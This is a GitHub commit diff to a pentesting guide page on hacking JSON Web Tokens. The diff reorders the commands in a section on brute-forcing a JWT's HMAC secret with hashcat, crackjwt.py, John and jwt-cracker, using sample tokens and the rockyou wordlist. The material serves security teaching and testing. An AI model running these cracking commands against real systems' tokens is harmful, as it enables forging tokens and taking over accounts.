Skip to content

Commit 62eac91

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page modified
1 parent f07d70d commit 62eac91

File tree

1 file changed

+4
-6
lines changed

1 file changed

+4
-6
lines changed

pentesting-web/hacking-jwt-json-web-tokens.md

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -45,9 +45,10 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
4545
## Brute-force HMAC secret
4646

4747
```bash
48-
git clone https://github.com/Sjord/jwtcrack.git
49-
cd jwtcrack
50-
#Bruteforce using crackjwt.py
48+
#hashcat
49+
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
50+
51+
#https://github.com/Sjord/jwtcrack
5152
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
5253

5354
#John
@@ -64,9 +65,6 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
6465

6566
#https://github.com/lmammino/jwt-cracker
6667
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
67-
68-
#hashcat
69-
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
7068
```
7169

7270
## Modify the algorithm to None \(CVE-2015-9235\)

0 commit comments

Comments
 (0)